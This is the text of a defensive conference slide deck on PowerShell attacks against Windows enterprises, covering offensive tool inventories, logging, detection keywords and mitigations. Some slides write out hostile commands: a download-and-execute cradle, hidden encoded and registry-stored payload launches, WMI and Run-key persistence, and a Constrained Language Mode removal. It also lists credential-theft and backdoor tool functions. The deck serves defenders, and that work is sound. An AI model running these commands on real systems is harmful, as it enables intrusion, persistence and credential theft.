
PowerShell Security:
Defending the Enterprise from the 

Latest Attack Platform

Sean Metcalf (@Pyrotek3)

s e a n [@] TrimarcSecurity.com
www.ADSecurity.org
TrimarcSecurity.com

http://www.adsecurity.org/
http://www.trimarcsecurity.com/


ABOUT

Founder Trimarc, a security company. 

Microsoft Certified Master (MCM) Directory Services

Microsoft MVP

Speaker: BSides, Shakacon, Black Hat, DEF CON, DerbyCon

Security Consultant / Security Researcher 

Own & Operate ADSecurity.org
(Microsoft platform security info)

Sean Metcalf (@Pyrotek3) 2

http://www.trimarcsecurity.com/
https://adsecurity.org/


AGENDA

PowerShell Overview & Capability

Traditional PowerShell Defenses

Real-World PowerShell Attacks

PowerShell Attack Tools

Detecting PowerShell Attacks

Mitigation & Prevention

PowerShell v5

Sean Metcalf (@Pyrotek3) 3

Detecting Offensive PowerShell Attack Tools
https://adsecurity.org/?p=2604

https://adsecurity.org/?p=2604


Sean Metcalf (@Pyrotek3) 4



PowerShell Overview

• Object-based scripting 
language based on .Net
technologies.

• Primarily designed in C#.

• “BASH shell for Windows”.

• PowerShell can call .Net
directly: 
[System.DirectoryServices.A

ctiveDirectory.Forest]::Get

CurrentForest() 

• Extensible through imported 
code modules which add new 
commands.

• Simplifies data access to 
standard resources (WMI, 
XML, registry, event logs, etc).

• PowerShell.exe (CLI) or 
PowerShell_ISE.exe (ISE GUI).

• Approaching its 10 year 
anniversary.

Sean Metcalf (@Pyrotek3) 5



Default PowerShell Versions by OS

• Determine PowerShell Version:  $PSVersionTable

PowerShell Desktop OS Server OS

Version 2 Windows 7 Windows 2008 R2

Version 3 Windows 8 Windows 2012

Version 4 Windows 8.1 Windows 2012 R2

Version 5 Windows 10 Windows 2016
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The Power of PowerShell
• Each PowerShell cmdlet follows the standard Verb-Noun

format which makes it easy to identify what a cmdlet does.
Get-Service vs Start-Service vs Stop-Service

• Cmdlet parameters provide mandatory or optional data to 
the code at run-time
Get-Service –Name “Netlogon”

• Consistent parameters across cmdlets
-WhatIf -Force  -ComputerName -Identity

• Built-in consistent help
Get-Help Get-Service (-example/-full)
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Attackers Have Options

•Custom executables (EXEs)

•Windows command tools

• Sysinternal tools

•VBScript

•CScript

• JavaScript

•Batch files

•PowerShell
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PowerShell Capability (Attackers Love This!)

• In-memory execution of script code

• Download code from a website & post results back 
to the site (or a different one).

• PowerShell Remoting 

• Leverage Windows API & .Net code

• Excellent post-exploitation shell.
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Typical PowerShell defenses
(and why they fail)
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PowerShell Execution & Execution Policy
• .PS1 files don’t auto-execute (double-click opens in 

notepad.

• Execution policy set to Restricted by default
• All script execution disabled (interactive commands enabled)
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Bypass PowerShell Execution Policy

“The PowerShell Execution Policy is not a security boundary”
12
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• Change the Execution Policy

– Set-ExecutionPolicy –ExecutionPolicy UnRestricted

• Ask PowerShell to bypass the Exec policy!

–PowerShell.exe -ExecutionPolicy Bypass



Deny PowerShell.exe
•Block execution of PowerShell.exe
•ACL
•AppLocker

•Doesn’t work (Why Not?)

•PowerShell is how stuff gets done (admin, logon, 
Exchange, etc).

•Drop in own version of PowerShell.exe!
(you can do that?)
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PowerShell: More than PowerShell.exe
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Run PowerShell from .Net

•PowerShell = 
System.Management.Automation.dll

•Applications can run PowerShell code

• “PowerShell ps = PowerShell.Create()”

•Ben Ten’s AwesomerShell
https://github.com/Ben0xA/AwesomerShell
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PowerShell as an Attack Platform
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Quick PowerShell Attack History
• Summer 2010 - DEF CON 18: Dave Kennedy & Josh Kelly 

“PowerShell OMFG!” (https://www.youtube.com/watch?v=JKlVONfD53w)
• Describes many of the PowerShell attack techniques used today

• Bypass execution restriction policy; PowerShell –EncodedCommand; & 
Invoke-Expression.

• Released PowerDump to dump SAM database purely within PowerShell 
(by Kathy Peters, Josh Kelley (winfang) and Dave Kennedy (ReL1K)

• 2012 – PowerSploit, a GitHub repo started by Matt Graeber, 
launched with Invoke-Shellcode.
• “Inject shellcode into the process ID of your choosing or within the context 

of the running PowerShell process.”

• 2013 - Invoke-Mimkatz released by Joe Bialek which leverages 
Invoke-ReflectivePEInjection. 17Sean Metcalf (@Pyrotek3) 
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PowerShell as an Attack Platform

•Run code in memory without touching disk.

•Download & execute code from another system.

• Interface with .Net & Windows APIs.

•CMD.exe is commonly blocked, though not PowerShell.

•Most organizations are not watching PowerShell activity.
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PowerShell as an Attack Platform

•PowerShell often leveraged as part of client attack.

• Invoked by:
• Microsoft Office Macro (VBA)
• WMI
• HTA Script (HTML Application – control panel extensions)
• CHM (compiled HTML help)
• Java JAR file
• Other script type (VBS/WSH/BAT/CMD)

• Typically an Encoded Command (bypasses exec. policy)
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Typical PowerShell.exe Attack Run Options
- WindowsStyle Hidden
- NoProfile
- ExecutionPolicy Bypass
- File <FilePath>
- Command <Command>
- EncodedCommand <BASE64EncodedCommand>

• Invoke-Expression (iex): 
• iex (New-Object 

Net.WebClient).DownloadString("http://hostname/filename.txt")
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PowerShell Attack Code

• Encoded commands obfuscate attack code & avoid 
console character limitation (~8k).

Powershell.exe -WindowStyle Hidden -noprofile -
EncodedCommand <BASE64ENCODED>
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PowerShell Attack Code – Encode & Compress
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Fileless Malware: Execute PS Code from Registry
powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex
([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp
'HKCU:\Software\Classes\UBZZXDJZAOGD').XLQWFZRMYEZV)))

https://isc.sans.edu/forums/diary/Powershell+Malware+No+Hard+drive+Just+hard+times/20823 23
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Attack Timeline

• Malware Injection (Spear-Phish, Web Exploits, etc)

• Reconnaissance (Internal)

• Credential Theft 

• Exploitation & Privilege Escalation

• Data Access & Exfiltration

• Persistence (retaining access)
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Carbon Black: Malicious Activity with PowerShell

25

https://www.carbonblack.com/wp-content/uploads/2016/04/Cb-Powershell-Deep-Dive-A-United-Threat-Research-Report.pdf
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Real-world PowerShell attacks
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“PowerWare” MS Office Macro -> PowerShell

https://www.carbonblack.com/2016/03/25/threat-alert-powerware-new-ransomware-written-in-powershell-targets-organizations-via-microsoft-word/
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Microsoft Office Macros (VBA)

•Many organizations are 
compromised by a single 
Word/Excel document.

•Office Macro = Code

https://www.fireeye.com/blog/threat-research/2015/10/macros_galore.html
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ActivePower: Data Stealing Campaign

https://www.fireeye.com/blog/threat-research/2015/12/uncovering_activepower.html

Download & Inject Malware

Grab Passwords

Check for VM Execution

Update Infection Count
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ActivePower: Data Stealing Campaign - Recon

https://www.fireeye.com/blog/threat-research/2015/12/uncovering_activepower.html
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ActivePower: Data Stealing Campaign

https://www.fireeye.com/blog/threat-research/2015/12/uncovering_activepower.html

Zip Data

Send Data
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ActivePower: Data Stealing Campaign

https://www.fireeye.com/blog/threat-research/2015/12/uncovering_activepower.html

Encrypted Data
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Code Obfuscation

https://www.carbonblack.com/2016/03/25/threat-alert-powerware-new-ransomware-written-in-powershell-targets-organizations-via-microsoft-word/
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Real-world PowerShell Attack Tools

• PowerSploit

• Invoke-Mimikatz

• PowerView

• PowerUp

• Nishang

• PS>Attack

• PowerShell Empire

• Metasploit, Cobalt Strike, etc
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PowerShell Attack Framework: PowerSploit
•Description
•A PowerShell Post-Exploitation Framework used in 

many PowerShell attack tools.

•Use
•Recon, privilege escalation, credential theft, 

persistence.

•Authors 
•Matt Graeber (@Mattifestation) 
•Chris Campbell (@obscuresec) 

https://github.com/PowerShellMafia/PowerSploit
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PowerShell Attack Framework: PowerSploit

• Invoke-DllInjection.ps1

• Invoke-Shellcode.ps1 

• Invoke-WmiCommand.ps1

•Get-GPPPassword.ps1

•Get-Keystrokes.ps1

•Get-TimedScreenshot.ps1

•Get-VaultCredential.ps1

• Invoke-CredentialInjection.ps1

• Invoke-Mimikatz.ps1

• Invoke-NinjaCopy.ps1

• Invoke-TokenManipulation.ps1 

•Out-Minidump.ps1 

• VolumeShadowCopyTools.ps1

• Invoke-ReflectivePEInjection.ps1 

https://github.com/PowerShellMafia/PowerSploit
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PowerShell Attack Tools: Invoke-Mimikatz

•Capabilities
• Mimikatz execution from PowerShell

• Credential theft & injection
• Forged Kerberos ticket creation
• Much more!

•Use 
• Credential theft & reuse
• Persistence

•Author 
• Joseph Bialek (@clymb3r)

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1
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Invoke-Mimikatz
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PowerShell Attack Tools: PowerView

•Description
•Pure PowerShell domain/network situational 

awareness tool.
•Now part of PowerSploit.

•Use 
•Recon 

•Author 
•Will Schroeder (@HarmJ0y) 

https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
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PowerShell Attack Tools: PowerView
•Get-NetUser
•Get-NetGroup
•Get-NetGroupMember
•Get-NetLocalGroup
•Get-NetSession
• Invoke-UserHunter
•Get-NetOU
• Find-GPOLocation
•Get-NetGPOGroup

• Get-ObjectACL
• Add-ObjectACL
• Invoke-ACLScanner
• Set-ADObject
• Invoke-DowngradeAccount
• Get-NetForest
• Get-NetForestTrust
• Get-NetForestDomain
• Get-NetDomainTrust
• Get-MapDomainTrust

https://github.com/HarmJ0y/CheatSheets/blob/master/PowerView.pdf
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PowerShell Attack Tools: PowerUp

•Description
• Identifies methods of local Privilege Escalation.
•Part of PowerShell Empire.

•Use 
•Privilege Escalation 

•Author 
•Will Harmjoy (@harmj0y)

https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
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PowerShell Attack Tools: PowerUp

•Get-ServiceUnquoted

•Get-ServiceFilePermission

•Get-ServicePermission

• Invoke-ServiceAbuse

• Install-ServiceBinary

•Get-RegAutoLogon

•Get-VulnAutoRun

•Get-VulnSchTask

•Get-UnattendedInstallFile

•Get-WebConfig

•Get-ApplicationHost

• Get-RegAlwaysInstallElevated

https://github.com/HarmJ0y/CheatSheets/blob/master/PowerUp.pdf
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PowerShell Attack Framework: Nishang

•Description
•PowerShell for penetration testing and offensive 

security. 

•Use
•Recon, Credential Theft, Privilege Escalation, 

Persistence 

•Author 
•Nikhil Mitt (@nikhil_mitt)

https://github.com/samratashok/nishang
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PowerShell Attack Tools: Nishang
• Get-Unconstrained
• Add-RegBackdoor
• Add-ScrnSaveBackdoor
• Gupt-Backdoor
• Invoke-ADSBackdoor
• Enabled-DuplicateToken
• Invoke-PsUaCme
• Remove-Update
• Check-VM
• Copy-VSS
• Get-Information
• Get-LSASecret

• Get-PassHashes
• Invoke-Mimikatz
• Show-TargetScreen
• Port-Scan
• Invoke-PoshRatHttp
• Invoke-PowerShellTCP
• Invoke-PowerShellWMI
• Add-Exfiltration
• Add-Persistence
• Do-Exfiltration
• Start-CaptureServer
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PowerShell Attack Platform: PS>Attack
•Description
• Self contained custom PowerShell console which 

includes many offensive PowerShell tools. 

•Use 
•Recon, Credential Theft, Privilege Escalation, Data 

Exfiltration

•Author 
• Jared Haight (@jaredhaight)

https://github.com/jaredhaight/psattack
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PowerShell Attack Platform: PS>Attack

•Powersploit
• Invoke-Mimikatz
• Get-GPPPassword
• Invoke-NinjaCopy
• Invoke-Shellcode
• Invoke-WMICommand
• VolumeShadowCopyTools

•PowerTools
• PowerUp
• PowerView

•Nishang
• Gupt-Backdoor
• Do-Exfiltration
• DNS-TXT-Pwnage
• Get-Information
• Get-WLAN-Keys
• Invoke-PsUACme

•Powercat

• Inveigh
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PowerShell Attack Platform: Empire
• Current Version: 1.5 (3/31/2016)

• Capabilities
• PowerShell based Remote Access Trojan (RAT).
• Python server component (Kali Linux).
• AES Encrypted C2 channel.
• Dumps and tracks credentials in database.

• Use 
• Integrated modules providing Initial Exploitation, Recon, 

Credential Theft & Reuse, as well as Persistence.

• Authors 
• Will Schroeder (@harmj0y)
• Justin Warner (@sixdub)
• Matt Nelson (@enigma0x3)
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PowerShell Empire (http://PowerShellEmpire.com) 
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PowerShell Empire Modules

•Code Execution

•Collection

•Credentials

• Exfiltration

• Exploitation

• Lateral Movement

•Management

•Persistence

•Privilege Escalation

•Recon

• Situational Awareness

• Fun & Trollsploit
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PowerShell Attack Tools: Empire
• Invoke-DllInjection
• Invoke-ReflectivePEInjection
• Invoke-ShellCode
• Get-ChromeDump
• Get-ClipboardContents
• Get-FoxDump
• Get-IndexedItem
• Get-Keystrokes
• Get-Screenshot
• Invoke-Inveigh
• Invoke-NetRipper
• Invoke-NinjaCopy
• Out-Minidump
• Invoke-EgressCheck
• Invoke-PostExfil
• Invoke-PSInject
• Invoke-RunAs
• MailRaider

• New-HoneyHash

• Set-MacAttribute

• Get-VaultCredential

• Invoke-DCSync

• Invoke-Mimikatz

• Invoke-PowerDump

• Invoke-TokenManipulation

• Exploit-Jboss

• Invoke-ThunderStruck

• Invoke-VoiceTroll

• Set-Wallpaper

• Invoke-InveighRelay

• Invoke-PsExec

• Invoke-SSHCommand
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PowerShell Attack Tools: Empire
• Get-SecurityPackages
• Install-SSP
• Invoke-BackdoorLNK
• PowerBreach
• Get-GPPPassword
• Get-SiteListPassword
• Get-System
• Invoke-BypassUAC
• Invoke-Tater
• Invoke-WScriptBypassUAC
• PowerUp
• PowerView
• Get-RickAstley

• Find-Fruit

• HTTP-Login

• Find-TrustedDocuments

• Get-ComputerDetails

• Get-SystemDNSServer

• Invoke-Paranoia

• Invoke-WinEnum

• Get-SPN

• Invoke-ARPScan

• Invoke-PortScan

• Invoke-ReverseDNSLookup

• Invoke-SMBScanner
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PowerShell Persistence
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Run Key (Registry)

•HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Run

•Value: HealthCheck

•Data: powershell.exe -NonInteractive -WindowStyle Hidden 
-ExecutionPolicy bypass -File 
"C:\windows\SCOMChecks.ps1“
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Scheduled Tasks

• Scheduled Tasks

•Get-ScheduledTasks
(Windows 8/2012+)

Get-ScheduledTask | 
where { $_.State –ne 
“Disabled” }
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PowerShell Profiles
Profile Profile Path

Current User, Current Host -

console
$Home\[My ]Documents\WindowsPowerShell\Profile.ps1

Current User, All Hosts $Home\[My ]Documents\Profile.ps1

All Users, Current Host -

console
$PsHome\Microsoft.PowerShell_profile.ps1

All Users, All Hosts $PsHome\Profile.ps1

Current user, Current Host - ISE $Home\[My ]Documents\WindowsPowerShell\Microsoft.P

owerShellISE_profile.ps1

All users, Current Host - ISE $PsHome\Microsoft.PowerShellISE_profile.ps1

http://blogs.technet.com/b/heyscriptingguy/archive/2012/05/21/understanding-the-six-powershell-profiles.aspx

$Home = User’s home directory
$PsHome = C:\Windows\System32\WindowsPowerShell\v1.0
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PowerShell Profile
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Persistence with WMI & PowerShell
• $filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" 

-Arguments 
@{name=‘EvilCode';EventNameSpace='root\CimV2';QueryLanguage="WQL";
Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE 
TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 08 AND 
TargetInstance.Minute = 00 GROUP WITHIN 60};

• $consumer = Set-WmiInstance -Namespace "root\subscription" -Class 
'CommandLineEventConsumer' -Arguments 
@{name=EvilCode;CommandLineTemplate="$($Env:SystemRoot)\System32\W
indowsPowerShell\v1.0\powershell.exe -
NonInteractive";RunInteractively='false'};

• Set-WmiInstance -Namespace "root\subscription" -Class 
__FilterToConsumerBinding -Arguments 
@{Filter=$filter;Consumer=$consumer}
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PowerShell Forensics/IR: WMI EventFilter

58Sean Metcalf (@Pyrotek3) 



PowerShell Forensics/IR: WMI EventConsumer
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PowerShell Forensics/IR: WMI FiltertoConsumer
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PowerShell Forensics/IR: WMI Events

https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
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PowerShell Forensics/IR Tools
• PoshSec

https://GitHub.com/poshsec

• Kansa
https://GitHub.com/davehull

• Invoke-IR / PowerForensics
https://GitHub.com/invoke-ir

• Powershell Arsenal
https://github.com/mattifestation/PowerShellArsenal
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PowerShell without PowerShell.exe
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Custom “PowerShell” C# App

•Create C# application that references the Powershell
System.Automation.dll assembly. 

• Leverage the Automation assembly’s functions to 
execute PowerShell Code. 

• Similar to how PowerShell.exe works.

•PowerShell Tools:
• SharpPick: 

https://github.com/PowerShellEmpire/PowerTools/tree/master/P
owerPick/SharpPick
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Unmanaged PowerShell
https://github.com/leechristensen/UnmanagedPowerShell

• Foundation for most PowerShell attack tools running outside 
of powershell.exe.

• Starts up .NET and performs in-memory loading of a custom 
C# assembly that executes PowerShell.

• Executes PowerShell from an unmanaged process.

• PowerShell Tools:
• PowerPick

https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick/R
eflectivePick

• PowerShell Harness
https://github.com/Rich5/Harness
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Metasploit PowerShell Module
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p0wned Shell

• “PowerShell Runspace Post Exploitation Toolkit”

•Runs powershell commands and functions within a 
powershell runspace environment (.NET)

• Includes many PowerShell attack tools, including those 
from PowerSploit, Nishang, PowerCat, Inveigh, etc.

•All contained within a single executable.
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PowerShell Remoting
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PowerShell Remoting (WinRM)

•PowerShell Remoting leverages WinRM

• Enable-PSRemoting: Automatically configures WinRM

70Sean Metcalf (@Pyrotek3) 



71Sean Metcalf (@Pyrotek3) 



PowerShell Remoting (WinRM)
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Limit PowerShell Remoting (WinRM)

• Limit WinRM listener scope to admin subnets.

•Disable PowerShell Remoting (WinRM) on sensitive 
servers where not required.

•WinRM is a pre-requisite for Windows Event Forwarding 
(WEF). Limit inbound communication on WinRM listener.

•WinRM includes WinRS.

• Track PowerShell Remoting Usage
• WinRM Logs
• Network activity
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PowerShell Logging & Attack Detection
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PowerShell Module Logging

•PowerShell version 3 and up.

•Enable via Group Policy:
•Computer Configuration\Policies\Administrative 

Template\Windows Components\Windows PowerShell.

•Logging enhanced in PowerShell v4.

•PowerShell v5 has compelling logging features.
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PowerShell Module Logging

•Microsoft.PowerShell.* - PowerShell’s core capability.

•Microsoft.WSMan.Management - WS-Management & 
WinRM. 

•BITSTransfer –BITS cmdlets.

•PSScheduledJob (PSv5) – Scheduled jobs cmdlets.

• ServerManager – Server Manager cmdlets.

•ActiveDirectory – Active Directory cmdlets.

•GroupPolicy– Group Policy cmdlets.
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PowerShell Module Logging - All
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PowerShell Attack Detection

•Log all PowerShell activity

• Interesting Activity:
• .Net Web Client download.
• Invoke-Expression (and derivatives: “iex”).
• “EncodedCommand” (“-enc”) & “Bypass”
•BITS activity.
• Scheduled Task creation/deletion.
•PowerShell Remoting (WinRM).
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PowerShell Attack Detection: Interesting Activity

Invoke-Expression (IEX)

79
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PowerShell Attack Detection: Interesting Activity

.Net Web Client download
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Detect Invoke-Mimikatz?

Keywords:
• “mimikatz” 
• “gentilkiwi” 
• “Invoke-Mimikatz”
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Detecting Invoke-Mimikatz: Event Log Keywords
• “TOKEN_PRIVILEGES”

• “SE_PRIVILEGE_ENABLED“

• “System.Reflection.AssemblyName”

• “System.Reflection.Emit.AssemblyBuilderAccess “

• “System.Runtime.InteropServices.MarshalAsAttribute”
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Detecting Invoke-Mimikatz: Event Log Keywords
• “System.Reflection”
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Offensive PowerShell Detection in PS Logs

• Invoke-TokenManipulation: 
• “TOKEN_IMPERSONATE” 
• “TOKEN_DUPLICATE” 
• “TOKEN_ADJUST_PRIVILEGES”

• Invoke-CredentialInjection:
• “TOKEN_PRIVILEGES” 
• “GetDelegateForFunctionPointer”

• Invoke-DLLInjection
• “System.Reflection.AssemblyName“
• “System.Reflection.Emit.AssemblyBuilderAccess“
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• Invoke-Shellcode
• “System.Reflection.AssemblyName“
• “System.Reflection.Emit.AssemblyBuilderAccess”
• “System.MulticastDelegate”
• “System.Reflection.CallingConventions”

•Get-GPPPassword
• “System.Security.Cryptography.AesCryptoServiceProvider”
• “0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4”
• “Groups.User.Properties.cpassword”
• “ScheduledTasks.Task.Properties.cpassword”

•Out-MiniDump
• “System.Management.Automation.WindowsErrorRep

orting”
• “MiniDumpWriteDump”
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PowerShell Defenses
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PowerShell Usage Monitoring

•Audit/block PowerShell script execution via AppLocker.

• Leverage Metering for PowerShell usage trend analysis.
• Joe User ran PowerShell on 10 computers today?

• SCCM Software Metering can report on exe usage.

• Track PowerShell remoting usage
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PowerShell Security: Constrained PowerShell
•Useful interim PowerShell security measure.

• Enabled Constrained Language Mode:
[Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4', 'Machine')

• Enable via Group Policy:
• Computer Configuration\Preferences\

Windows Settings\Environment
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PowerShell Security: Constrained PowerShell

•Can mitigate initial PowerShell attack.

•Not a panacea.

•Considered minor mitigation method on roadmap to 
whitelisting.

•Bypassing Constrained PowerShell is possible

•Remove Constrained Language Mode:
Remove-Item Env:\__PSLockdownPolicy

•Check Language Mode:
$ExecutionContext.SessionState.LanguageMode
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PowerShell v5 Security Enhancements
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PowerShell v5 Security Enhancements

• Script block logging 

• System-wide transcripts (w/ invocation header)

•Constrained PowerShell enforced with AppLocker (Win 10)

•Antimalware Integration (Win 10)

Windows Management Framework (WMF) version 5 now available for download:
https://www.microsoft.com/en-us/download/details.aspx?id=50395

http://blogs.msdn.com/b/powershell/archive/2015/06/09/powershell-the-blue-team.aspx
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PowerShell v5 Install by Operating System
OS Version Install .Net 4.5 Install WMF v4 Install WMF v5

Windows 7
Windows Server 2008 R2

√ √ √

Windows 8
Windows Server 2012

N/A N/A N/A

Windows 8.1
Windows Server 2012 R2

- - √

Windows 10 - - -
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PowerShell v5 Group Policy

•Windows 10 Administrative Templates (11/17/2015)
https://www.microsoft.com/en-us/download/details.aspx?id=48257

•Place Admin templates in AD GPO Central Store
https://support.microsoft.com/en-us/kb/3087759

•Create & Edit Group Policy 
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PowerShell v5 Security: Script Block Logging
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PowerShell v5 Security: Script Block Logging
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PowerShell v5 Security: System-Wide Transcripts
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PowerShell v5 Security: System-Wide Transcripts
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PowerShell v5: Constrained PowerShell Enforced
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Windows 10 PowerShell Security
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Windows 10 PS Security:  Antimalware Integration
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Windows 10: AntiMalware Scan Interface (AMSI)
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Windows 10: AntiMalware Scan Interface (AMSI)

Microsoft.Management.Infrastructure.CimInstance#ROOT/Microsoft/Windows/Defender/MSFT_MpThreatDetection
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Windows 10: AntiMalware Scan Interface (AMSI)
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Security Vendors Supporting Win10 AMSI

1. Microsoft Defender: Now

2. AVG: Now (AVG 
Protection 2016.7496)

3. Avast: 
“Avast will be implementing 
AMSI in the near future.” 
(7/2015)

4. Trend Micro: ??

5. Symantec: ???

6. McAfee: ???

7. Sophos: ??

8. Kaspersky: ??

9. BitDefender: ??

10.F-Secure : ??

11.Avira : ??

12.Panda : ??

13.ESET: ??
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Securing PowerShell: A Layered Defense
• Update PowerShell to v4 or v5 (where possible) for enhanced logging.

• Forward PowerShell logs to a central logging solution (Splunk, etc) and 
alert on suspicious activity.

• Identify PowerShell usage in the organization (metering) and alert when 
abnormal use is detected.

• Leverage constrained language mode where possible.

• Limit admin rights – users should not have admin on their computers!

• Ask your anti-malware/anti-virus/bad code detecting software vendor 
when they will support AMSI (Win 10).

• Block Microsoft Office macros, especially those that originate from the 
Internet (Office 2016 GPO).

• Deploy application whitelisting to block executable content from user 
locations (profile path, home directory, etc) and only allow exes from 
trusted locations (c:\program files, c:\windows, etc).
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Summary
•PowerShell’s capabilities makes it an excellent tool for 

attackers.

•PowerShell.exe is not PowerShell.

• Securing PowerShell is not straightforward.

• Enable PowerShell logging to understand its use in the 
environment.

•PowerShell v5 should be every organization’s new 
baseline version.
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And there’s more! (just not now)
Microsoft Office Security in the “appendix”
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Appendix

Microsoft Office Macro Security
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Macro Protection by Microsoft Office Version

•Microsoft Office 2000
• Low
• Medium
• High

•Microsoft Office 2003
• Low
• Medium
• High
• Very High
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Macro Protection by Microsoft Office Version
•Microsoft Office 2007 (Trust Center)
•Office 2007 New Macro Security Options

• Disable all macros without notification
• Disable all macros with notification
• Disable all macros except digitally signed macros
• Enable all macros (not recommended, potentially dangerous 

code can run)
• Trust access to the VBA project object model

•Microsoft Office 2010 -
• By default, VBA is enabled & trusted VBA macros are allowed to 

run.
• Trusted Locations
• Trusted Publishers
• Office Protected View 116Sean Metcalf (@Pyrotek3) 



Microsoft Office Protected View (2010)

• Files from risky locations (Internet) are opened in 
Protected View.

•MOICE (Microsoft Office Isolated Converter 
Environment).

•MOICE takes a potentially risky binary file type and 
convert it within a sandboxed process to the new XML 
format, then back to the binary format and open it.

•Purpose is to remove any exploit code that was hidden 
away within the file. 
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Macro Protection by Microsoft Office Version
•Microsoft Office 2013 Telemetry Dashboard 

• determine macro usage
• Disabled by default
• Enabled by using Group Policy, registry settings, or by 

selecting the Enable Logging button in Telemetry Log
• https://technet.microsoft.com/en-us/library/jj863580.aspx
• https://blogs.technet.microsoft.com/office_resource_kit/2

012/08/08/using-office-telemetry-dashboard-to-see-how-
well-your-office-solutions-perform-in-office-2013/

•Microsoft Office 2016
• Block macros in files originating from the Internet and 

external email systems
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Office 2013 Telemetry Dashboard
https://blogs.technet.microsoft.com/office_resource_kit/2012/08/08/using-office-telemetry-dashboard-to-see-how-well-your-office-
solutions-perform-in-office-2013/
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